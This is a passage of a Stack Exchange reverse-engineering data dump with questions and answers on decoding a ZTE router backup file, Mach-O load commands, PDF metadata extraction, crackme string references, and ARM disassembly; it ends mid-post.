  <row Id="14711" PostTypeId="1" AcceptedAnswerId="15910" CreationDate="2017-02-21T23:22:23.380" Score="5" ViewCount="5947" Body="&lt;p&gt;This config.bin file is from a ZTE router. I would like to decompress it but I did not identify the compression used in the file. Maybe someone can.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  99 99 99 99 44 44 44 44  55 55 55 55 aa aa aa aa  |....DDDDUUUU....|&#xA;00000010  00 00 00 00 00 00 00 00  00 00 00 04 00 00 00 00  |................|&#xA;00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 40  |...............@|&#xA;00000040  00 02 00 00 00 00 00 80  00 00 4c 84 00 00 00 00  |..........L.....|&#xA;00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;00000080  04 03 02 01 00 00 00 00  00 00 00 10 5a 58 56 31  |............ZXV1|&#xA;00000090  30 20 48 32 30 31 4c 20  56 32 2e 30 01 02 03 04  |0 H201L V2.0....|&#xA;000000a0  00 00 00 02 00 00 00 00  00 00 4c 68 00 01 00 00  |..........Lh....|&#xA;000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;000000d0  00 00 00 00 00 00 00 00  00 00 4c 20 00 00 4c 20  |..........L ..L |&#xA;000000e0  00 00 00 00 5d a2 a4 6e  d6 94 bc 97 07 1b 38 17  |....]..n......8.|&#xA;000000f0  ab 66 e7 bc f4 9b 4e 3f  cd 89 b0 c3 b2 11 4a f4  |.f....N?......J.|&#xA;00000100  40 88 2c a1 90 e4 4d 32  d7 9b fa bd ec 39 42 ae  |@.,...M2.....9B.|&#xA;00000110  e6 a9 2f 26 03 6e 70 f4  e5 0f 88 55 3b 1c b0 bb  |../&amp;amp;.np....U;...|&#xA;00000120  b6 04 3e 73 99 15 ef 65  39 8d 85 52 6e 37 0b 5d  |..&amp;gt;s...e9..Rn7.]|&#xA;00000130  6e c2 39 75 a4 94 0c c7  79 72 86 dc 25 38 38 e0  |n.9u....yr..%88.|&#xA;00000140  8f 54 5b 18 a4 76 15 e4  f7 b3 c6 0f d8 91 19 e0  |.T[..v..........|&#xA;00000150  00 22 1d 9c 7d a0 08 42  6f 87 ab 73 4b 17 4c 25  |.&quot;..}..Bo..sK.L%|&#xA;00000160  40 2f ea 30 6b 80 27 72  db 2b 30 7a 2a 2f 3d b0  |@/.0k.'r.+0z*/=.|&#xA;00000170  46 ca 50 0e ad 99 9a 70  3e 23 b4 b4 e0 ee 3a b3  |F.P....p&amp;gt;#....:.|&#xA;00000180  a8 6a 9d 7c a2 29 17 51  9f 7a 0a 14 90 41 3f e2  |.j.|.).Q.z...A?.|&#xA;00000190  dc 63 52 c8 01 24 6b 46  31 ac 4e c6 54 cb 18 70  |.cR..$kF1.N.T..p|&#xA;000001a0  33 67 0c 06 7e db 00 af  22 ec a1 37 98 01 ef ae  |3g..~...&quot;..7....|&#xA;000001b0  9b 47 30 48 e3 6d 18 87  ab 34 2d 2b 4e b9 5b eb  |.G0H.m...4-+N.[.|&#xA;000001c0  55 5f 61 ab da eb 39 7e  df 7e 79 fe fd f8 11 66  |U_a...9~.~y....f|&#xA;000001d0  b3 48 fc f8 33 38 fd 1b  1d 00 bd 83 f8 b8 2b 9f  |.H..38........+.|&#xA;000001e0  cf 1e ae 69 ff 5d e3 04  8c 6d cc 19 12 f4 95 03  |...i.]...m......|&#xA;000001f0  3d c8 67 e2 c2 52 d3 a4  44 eb af f5 a0 63 0a ef  |=.g..R..D....c..|&#xA;00000200  d2 3d 82 9e 95 d1 f4 1c  ce 0c 5f 60 49 ab c3 d5  |.=........_`I...|&#xA;00000210  89 d5 53 82 f7 4e ba ae  d3 3c 09 e9 af 52 29 e9  |..S..N...&amp;lt;...R).|&#xA;00000220  d5 9b 02 54 91 e9 ae 0e  12 26 3b ca ca 4e 8f 01  |...T.....&amp;amp;;..N..|&#xA;00000230  a4 52 e1 4e f8 42 7e 0d  9c 99 76 7d 5f 3c de 67  |.R.N.B~...v}_&amp;lt;.g|&#xA;00000240  82 fc 38 97 7b db 06 b3  0a 44 95 64 ab 02 71 1a  |..8.{....D.d..q.|&#xA;00000250  08 cc ca 88 f8 b6 bb 12  d4 fd 4d dd 9b 3f c1 57  |..........M..?.W|&#xA;00000260  bb 54 9c b7 99 c3 9c 69  86 91 ea 82 b7 38 b3 c1  |.T.....i.....8..|&#xA;00000270  f3 71 30 b7 06 82 ea c3  04 93 30 d4 83 56 50 b5  |.q0.......0..VP.|&#xA;00000280  93 39 7a ea a7 1b 38 f0  3a f0 95 57 cb 79 e2 91  |.9z...8.:..W.y..|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://mega.nz/#!wVg1gJKQ!PGZaqaaeKanYqxFtNw5FNsmh_R5UR75Nr0rC8MihJJ0&quot; rel=&quot;nofollow noreferrer&quot;&gt;file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I changed the wifi password on the router and backed it up and in picture below is the difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6jTFY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6jTFY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: At offset 0xE4 starts first header ends at offset 0x105, data of this header it seems to start at 0x134 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT3: On my router ZTEZXV10 H201L V2 there is a utility which is in charge of db dackup (its called &lt;a href=&quot;https://dl.dropboxusercontent.com/u/38454983/cspd&quot; rel=&quot;nofollow noreferrer&quot;&gt;cspd&lt;/a&gt;) and here it is so maybe someone can &quot;see&quot; how the backup is encrypted:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/owsdd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/owsdd.png&quot; alt=&quot;DBbackupXML&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is &lt;code&gt;dbFileSave&lt;/code&gt;. I can't tell which is responsible for saving the file.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kNnW1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kNnW1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Do you have any suggestions as to what I should try ? &lt;/p&gt;&#xA;" OwnerUserId="3810" LastEditorUserId="60" LastEditDate="2017-03-03T13:26:03.177" LastActivityDate="2020-11-27T11:37:51.517" Title="Identify compression of this ZTE ZXV10 H201L V2 backup config file" Tags="|firmware|linux|embedded|mips|decompress|" AnswerCount="4" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="14712" PostTypeId="1" AcceptedAnswerId="14714" CreationDate="2017-02-22T09:42:53.323" Score="2" ViewCount="500" Body="&lt;p&gt;I'm analyzing load commands section of executable Mach-O file in iOS 9.3.3, Twitter app is used for ilustration.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# otool -hV Twitter &#xA;Twitter:&#xA;Mach header&#xA;      magic cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags&#xA;MH_MAGIC_64 16777228          0  0x00     EXECUTE    49       4208   NOUNDEFS DYLDLINK TWOLEVEL PIE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've read that every executable contains LC_UNIXTHREAD command which is responsible for starting the binary's main thread. However, there's no such command in examined file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# otool -l Twitter | grep LC_&#xA;      cmd LC_SEGMENT_64&#xA;      cmd LC_SEGMENT_64&#xA;      cmd LC_SEGMENT_64&#xA;      cmd LC_SEGMENT_64&#xA;     cmd LC_SYMTAB&#xA;            cmd LC_DYSYMTAB&#xA;          cmd LC_LOAD_DYLINKER&#xA;     cmd LC_UUID&#xA;          cmd LC_LOAD_DYLIB&#xA;          cmd LC_LOAD_DYLIB&#xA;          cmd LC_LOAD_DYLIB&#xA;          [...repetition omitted...]&#xA;          cmd LC_RPATH&#xA;          cmd LC_RPATH&#xA;      cmd LC_CODE_SIGNATURE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot understand why it's not there. Does it have anything in common with the fact that this app runs with mobile user privileges or that it's proprietary app of the third party? I found this LC command e.g. for /bin/ls, but not for any of tested proprietary apps.&lt;/p&gt;&#xA;" OwnerUserId="19255" LastActivityDate="2017-02-22T12:33:47.143" Title="No LC_UNIXTHREAD segment in iOS application Mach-O" Tags="|ios|mach-o|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14713" PostTypeId="2" ParentId="14698" CreationDate="2017-02-22T11:03:21.713" Score="3" Body="&lt;p&gt;The PDF format is not based on XML but uses a PostScript-inspired dictionary format for its &quot;objects&quot; and streams for other data such as images. There are following  places where document metadata is stored:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the &lt;code&gt;/Info&lt;/code&gt; dictionary containing keys such as &quot;Author&quot; , &quot;Producer&quot;, &quot;Title&quot; etc.&lt;/li&gt;&#xA;&lt;li&gt;the &lt;code&gt;/Metadata&lt;/code&gt; dictionary which may contain an XML stream with additional information.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's an example of retrieving this information using the &lt;a href=&quot;https://github.com/DidierStevens/DidierStevensSuite/blob/master/pdf-parser.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;low-level PDF parsing tool by Didier Stevens&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First,  display the &quot;trailer&quot; (something like table of contents of the PDF):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;pdf-parser.py -e t Excite_Project_ZN.pdf &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;trailer&#xA;  &amp;lt;&amp;lt;&#xA;    /Size 3373&#xA;    /Root 1 0 R&#xA;    /Info 219 0 R&#xA;    /ID [&amp;lt;3572219E83326040B0789EBEAE24A285&amp;gt;&amp;lt;3572219E83326040B0789EBEAE24A285&amp;gt;]&#xA;  &amp;gt;&amp;gt;&#xA;&#xA;trailer&#xA;  &amp;lt;&amp;lt;&#xA;    /Size 3373&#xA;    /Root 1 0 R&#xA;    /Info 219 0 R&#xA;    /ID [&amp;lt;3572219E83326040B0789EBEAE24A285&amp;gt;&amp;lt;3572219E83326040B0789EBEAE24A285&amp;gt;]&#xA;    /Prev 2126182&#xA;    /XRefStm 2119246&#xA;  &amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now let's check the &lt;code&gt;/Info&lt;/code&gt; object (number 219):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;pdf-parser.py -o 219 Excite_Project_ZN.pdf&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj 219 0&#xA; Type:&#xA; Referencing:&#xA;&#xA;  &amp;lt;&amp;lt;&#xA;    /Title ()&#xA;    /Author (Alex Matrosov)&#xA;    /Keywords (CTPClassification=CTP_PUBLIC:VisualMarkings=)&#xA;    /CreationDate &quot;(D:20161121224130-08'00')&quot;&#xA;    /ModDate &quot;(D:20161121224130-08'00')&quot;&#xA;    /Producer '(\xfe\xff\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\xae\x00 \x00P\x00o\x00w\x00e\x00r\x00P\x00o\x00i\x00n\x00t\x00\xae\x00 \x002\x000\x001\x006)'&#xA;    /Creator '(\xfe\xff\x00M\x00i\x00c\x00r\x00o\x00s\x00o\x00f\x00t\x00\xae\x00\x00P\x00o\x00w\x00e\x00r\x00P\x00o\x00i\x00n\x00t\x00\xae\x00 \x002\x000\x001\x006)'&#xA;  &amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So here we have the tile and the author. But there is more. If we check the Root object (number 1):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;pdf-parser.py -o 1 Excite_Project_ZN.pdf&#xA;&#xA;obj 1 0&#xA; Type: /Catalog&#xA; Referencing: 2 0 R, 220 0 R, 3370 0 R, 3371 0 R&#xA;&#xA;  &amp;lt;&amp;lt;&#xA;    /Type /Catalog&#xA;    /Pages 2 0 R&#xA;    /Lang (en-US)&#xA;    /StructTreeRoot 220 0 R&#xA;    /MarkInfo&#xA;      &amp;lt;&amp;lt;&#xA;        /Marked true&#xA;      &amp;gt;&amp;gt;&#xA;    /Metadata 3370 0 R&#xA;    /ViewerPreferences 3371 0 R&#xA;  &amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can see the reference to &lt;code&gt;/Metadata&lt;/code&gt;. Let's check it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;pdf-parser.py -o 3370 Excite_Project_ZN.pdf&#xA;&#xA;obj 3370 0&#xA; Type: /Metadata&#xA; Referencing:&#xA; Contains stream&#xA;&#xA;  &amp;lt;&amp;lt;&#xA;    /Type /Metadata&#xA;    /Subtype /XML&#xA;    /Length 3230&#xA;  &amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a stream which needs to be extracted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;pdf-parser.py -o 3370 -x metadata.xml Excite_Project_ZN.pdf &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output is this XML:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;&#xA;&amp;lt;?xpacket begin=&quot;&quot; id=&quot;W5M0MpCehiHzreSzNTczkc9d&quot;?&amp;gt;&#xA;&amp;lt;x:xmpmeta x:xmptk=&quot;3.1-701&quot; xmlns:x=&quot;adobe:ns:meta/&quot;&amp;gt;&#xA;&amp;lt;?xpacket end=&quot;w&quot;?&amp;gt;&#xA;&amp;lt;rdf:RDF xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&amp;gt;&#xA;&amp;lt;rdf:Description xmlns:pdf=&quot;http://ns.adobe.com/pdf/1.3/&quot; rdf:about=&quot;&quot;&amp;gt;&#xA;&amp;lt;pdf:Producer&amp;gt;Microsoft® PowerPoint® 2016&amp;lt;/pdf:Producer&amp;gt;&#xA;&amp;lt;pdf:Keywords&amp;gt;CTPClassification=CTP_PUBLIC:VisualMarkings=&amp;lt;/pdf:Keywords&amp;gt;&#xA;&amp;lt;/rdf:Description&amp;gt;&#xA;&amp;lt;rdf:Description rdf:about=&quot;&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;&amp;gt;&#xA;&amp;lt;dc:title&amp;gt;&#xA;&amp;lt;rdf:Alt&amp;gt;&#xA;&amp;lt;rdf:li xml:lang=&quot;x-default&quot;/&amp;gt;&#xA;&amp;lt;/rdf:Alt&amp;gt;&#xA;&amp;lt;/dc:title&amp;gt;&#xA;&amp;lt;dc:creator&amp;gt;&#xA;&amp;lt;rdf:Seq&amp;gt;&#xA;&amp;lt;rdf:li&amp;gt;Alex Matrosov&amp;lt;/rdf:li&amp;gt;&#xA;&amp;lt;/rdf:Seq&amp;gt;&#xA;&amp;lt;/dc:creator&amp;gt;&#xA;&amp;lt;/rdf:Description&amp;gt;&#xA;&amp;lt;rdf:Description rdf:about=&quot;&quot; xmlns:xmp=&quot;http://ns.adobe.com/xap/1.0/&quot;&amp;gt;&#xA;&amp;lt;xmp:CreatorTool&amp;gt;Microsoft® PowerPoint® 2016&amp;lt;/xmp:CreatorTool&amp;gt;&#xA;&amp;lt;xmp:CreateDate&amp;gt;2016-11-21T22:41:30-08:00&amp;lt;/xmp:CreateDate&amp;gt;&#xA;&amp;lt;xmp:ModifyDate&amp;gt;2016-11-21T22:41:30-08:00&amp;lt;/xmp:ModifyDate&amp;gt;&#xA;&amp;lt;/rdf:Description&amp;gt;    &#xA;&#xA;&amp;lt;rdf:Description rdf:about=&quot;&quot; xmlns:xmpMM=&quot;http://ns.adobe.com/xap/1.0/mm/&quot;&amp;gt;    &#xA;&amp;lt;xmpMM:DocumentID&amp;gt;uuid:9E217235-3283-4060-B078-9EBEAE24A285&amp;lt;/xmpMM:DocumentID&amp;gt;    &#xA;&amp;lt;xmpMM:InstanceID&amp;gt;uuid:9E217235-3283-4060-B078-9EBEAE24A285&amp;lt;/xmpMM:InstanceID&amp;gt;    &#xA;&amp;lt;/rdf:Description&amp;gt;    &#xA;&amp;lt;/rdf:RDF&amp;gt;&#xA;&#xA;&amp;lt;/x:xmpmeta&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-02-23T13:40:58.407" LastActivityDate="2017-02-23T13:40:58.407" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14714" PostTypeId="2" ParentId="14712" CreationDate="2017-02-22T12:33:47.143" Score="2" Body="&lt;p&gt;Since a few versions ago, &lt;code&gt;LC_UNIXTHREAD&lt;/code&gt; has been deprecated in favor of the new command, &lt;code&gt;LC_MAIN&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define LC_MAIN (0x28|LC_REQ_DYLD) /* replacement for LC_UNIXTHREAD */&#xA;struct entry_point_command {&#xA;    uint32_t  cmd;  /* LC_MAIN only used in MH_EXECUTE filetypes */&#xA;    uint32_t  cmdsize;  /* 24 */&#xA;    uint64_t  entryoff; /* file (__TEXT) offset of main() */&#xA;    uint64_t  stacksize;/* if not zero, initial stack size */&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Possibly your &lt;code&gt;otool&lt;/code&gt; is a little old and does not support it.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-02-22T12:33:47.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14715" PostTypeId="1" CreationDate="2017-02-22T19:36:37.167" Score="1" ViewCount="125" Body="&lt;p&gt;I'm trying to extract some images from a PS Vita game. I've managed to get a load of .bin files with names 00000.bin, 00001.bin and so on, but the file types are not the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each even numbered file is a GXT file, which I have converted into PNG images, but they appear to be cut into pieces, similar (but not the same) to this: &lt;a href=&quot;https://i.stack.imgur.com/rlODM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/rlODM.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the webpage where I found the above image, there was a program linked that is supposed to put the cut images together to form new images. However, this program requires both a PNG file and a LAY (layout) file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each odd numbered file has this hex header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;11 00 00 00 42 01 00 00 01 00 00 00 00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume this is the LAY file needed, but I am unsure about how to convert the BIN files to LAY. Simply changing the file extension does not work, TrID says that it is &quot;100.0% (.) LTAC compressed audio (v1.71) (1001/2)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a pair of BIN files, and the PNG version of 00000.bin: &lt;a href=&quot;http://www.filedropper.com/binandpngfiles&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.filedropper.com/binandpngfiles&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stumped about what to try next. Any guidance would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="19260" LastEditorUserId="19260" LastEditDate="2017-02-23T07:35:44.030" LastActivityDate="2017-02-23T07:35:44.030" Title="How can I make these images appear normal?" Tags="|unpacking|decryption|decompress|hexadecimal|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14716" PostTypeId="1" AcceptedAnswerId="14737" CreationDate="2017-02-22T21:40:32.823" Score="1" ViewCount="163" Body="&lt;p&gt;When you trace with Ollydbg it prints the register values near commands that modify them. Is there any way to get it to print some memory locations, of my choice, when modified?&lt;/p&gt;&#xA;" OwnerUserId="19261" LastActivityDate="2017-02-24T07:22:40.597" Title="Log modified memory locations when tracing with Ollydbg" Tags="|ollydbg|debuggers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14717" PostTypeId="1" AcceptedAnswerId="14723" CreationDate="2017-02-22T23:08:49.747" Score="1" ViewCount="139" Body="&lt;p&gt;I'm starting to learn reverse engineering so I'm trying to reverse sample app, compiled for ARM(iOS) and now I'm looking into code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This section is right before &lt;code&gt;WHILE&lt;/code&gt; and right at the beginning of function where values are initiated. but I can't find the raw values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the function .h file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#import &quot;NSObject.h&quot;&#xA;&#xA;@interface SampleCalc : NSObject&#xA;&#xA;+ (double)doCalc:(double)arg1;&#xA;&#xA;@end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the ARM code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+[SampleCalc doCalc:]:&#xA;0002f198         movw       sb, #0x6cb4      ; Objective C Implementation defined at 0x95db8 (class method), :lower16:(0xc5e60 - 0x2f1ac)&#xA;0002f19c         vmov.i32   d18, #0x0&#xA;0002f1a0         movt       sb, #0x9         ; :upper16:(0xc5e60 - 0x2f1ac)&#xA;0002f1a4         vmov       d16, r2, r3&#xA;0002f1a8         add        sb, pc           ; 0xc5e60&#xA;0002f1aa         movs       r2, #0x0&#xA;0002f1ac         add.w      r3, sb, #0x8     ; 0xc5e68&#xA;0002f1b0         vldr       d17, [sb]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly this is ARM PIC (position independent code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't get the logic here &lt;code&gt;0002f1b0&lt;/code&gt; - does the brackets mean &lt;code&gt;sb&lt;/code&gt; is storing address and value is loaded in &lt;code&gt;d17&lt;/code&gt;? And what is the address - &lt;code&gt;0xc5e68&lt;/code&gt; correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;0xc5e60&lt;/code&gt; contains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000c5e60         db  0x00 ;&#xA;000c5e61         db  0x00 ; '.'&#xA;000c5e62         db  0x00 ; '.'&#xA;000c5e63         db  0x00 ; '.'&#xA;000c5e64         db  0x00 ; '.'&#xA;000c5e65         db  0x00 ; '.'&#xA;000c5e66         db  0x33 ; '3'&#xA;000c5e67         db  0x40 ; '@'&#xA;000c5e68         db  0x00 ;&#xA;000c5e69         db  0x00 ; '.'&#xA;000c5e6a         db  0x00 ; '.'&#xA;000c5e6b         db  0x00 ; '.'&#xA;000c5e6c         db  0x00 ; '.'&#xA;000c5e6d         db  0x00 ; '.'&#xA;000c5e6e         db  0x34 ; '4'&#xA;000c5e6f         db  0x40 ; '@'&#xA;000c5e70         db  0x00 ; '.'&#xA;000c5e71         db  0x00 ; '.'&#xA;000c5e72         db  0x00 ; '.'&#xA;000c5e73         db  0x00 ; '.'&#xA;000c5e74         db  0x00 ; '.'&#xA;000c5e75         db  0x00 ; '.'&#xA;000c5e76         db  0x35 ; '5'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So does that mean &lt;code&gt;D17&lt;/code&gt; gets value &lt;code&gt;0x00&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus question, if possible, what are all those &lt;code&gt;.&lt;/code&gt; and &lt;code&gt;@&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="19262" LastActivityDate="2017-02-23T11:03:47.677" Title="Reverse engineering ARM PIC" Tags="|arm|ios|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14718" PostTypeId="1" AcceptedAnswerId="14720" CreationDate="2017-02-22T23:54:07.803" Score="3" ViewCount="2329" Body="&lt;p&gt;I'm working through some reverse engineering sample programs (IOLI crackmes) crackme0x00 - crackme0x09 which are gcc compiled ELF format binaries.  I was provided these by a colleague and can be downloaded from radare's github site (I can't add the link as I do not have the reputation points).  I think I can provide enough information to ask a properly formatted question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently working on crackme0x09 and have run across a hurdle.  I disassemble the main:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/osYHT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/osYHT.png&quot; alt=&quot;disassembled main&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice that the first call to &lt;code&gt;sym.imp.printf&lt;/code&gt; is taking it's input from the &lt;code&gt;ebx&lt;/code&gt; register which is referenced by an offset &lt;code&gt;[ebx - 0x178b]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;ebx&lt;/code&gt; register is set, first, in &lt;code&gt;fcn.08048766&lt;/code&gt; which I disassemble:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/nIclC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nIclC.png&quot; alt=&quot;disassembled fcn.08048766&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in order:&#xA;1)  &lt;code&gt;0x84&lt;/code&gt; is subtracted from the &lt;code&gt;esp&lt;/code&gt;&#xA;2)  &lt;code&gt;ebx&lt;/code&gt; is set equal to the location &lt;code&gt;esp&lt;/code&gt; contains in &lt;code&gt;fcn.08048766&lt;/code&gt; with:&#xA;        &lt;code&gt;mov ebx, dword[esp]&lt;/code&gt;&#xA;3)  &lt;code&gt;0x18f7&lt;/code&gt; is added to the new value of the &lt;code&gt;ebx&lt;/code&gt;&#xA;4)  &lt;code&gt;eax&lt;/code&gt; is loaded with this new address minus and offset &lt;code&gt;lea eax, [ebx - 0x178b]&lt;/code&gt;&#xA;5)  This is then pushed onto the stack for &lt;code&gt;sym.imp.printf&lt;/code&gt; to print&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I print all the strings in the data section of the program (using &lt;code&gt;iz&lt;/code&gt; command) I can see them there, but I'm having a hard time understanding how to interpret the results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vaddr=0x08048838 paddr=0x00000838 ordinal=000 sz=5 len=4 section=.rodata type=ascii string=LOLO&#xA;vaddr=0x0804883d paddr=0x0000083d ordinal=001 sz=21 len=20 section=.rodata type=ascii string=Password Incorrect!\n&#xA;vaddr=0x08048855 paddr=0x00000855 ordinal=002 sz=14 len=13 section=.rodata type=ascii string=Password OK!\n&#xA;vaddr=0x08048863 paddr=0x00000863 ordinal=003 sz=6 len=5 section=.rodata type=ascii string=wtf?\n&#xA;vaddr=0x08048869 paddr=0x00000869 ordinal=004 sz=25 len=24 section=.rodata type=ascii string=IOLI Crackme Level 0x09\n&#xA;vaddr=0x08048882 paddr=0x00000882 ordinal=005 sz=11 len=10 section=.rodata type=ascii string=Password:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question:  How can I tell what string is referenced by &lt;code&gt;[ebx - 0x178b]&lt;/code&gt; and subsequent &lt;code&gt;ebx&lt;/code&gt; offsets?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="19263" LastEditorUserId="19263" LastEditDate="2017-02-23T00:46:54.963" LastActivityDate="2017-02-23T07:35:49.327" Title="Finding hidden string location using radare2 on ELF binaries" Tags="|disassembly|assembly|c|elf|radare2|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14719" PostTypeId="1" CreationDate="2017-02-23T06:43:04.397" Score="1" ViewCount="62" Body="&lt;p&gt;I've got a number of colors which I'm trying to reverse engineer from a binary blob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've narrowed it down to a small section of the file, with the following values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;c[(0,0,0)] =      0x000000000000000000000000000000000000000000000000&#xA;c[(1,1,1)] =      0xBF0E01554E8BA53F00000000000000000000000000000000&#xA;c[(2,2,2)] =      0x28669E4C5AC1C23F00000000000000000000000000000000&#xA;c[(254,254,254)]= 0x8026349E84EE584000000000000000000000000000000000&#xA;c[(255,255,255)]= 0x00000000000059400000000000000000000000000000193D&#xA;c[(1,0,0)] =      0x77AD31D28614853FAC4E7111AF220640D52D4FEF829A0340&#xA;c[(0,1,0)] =     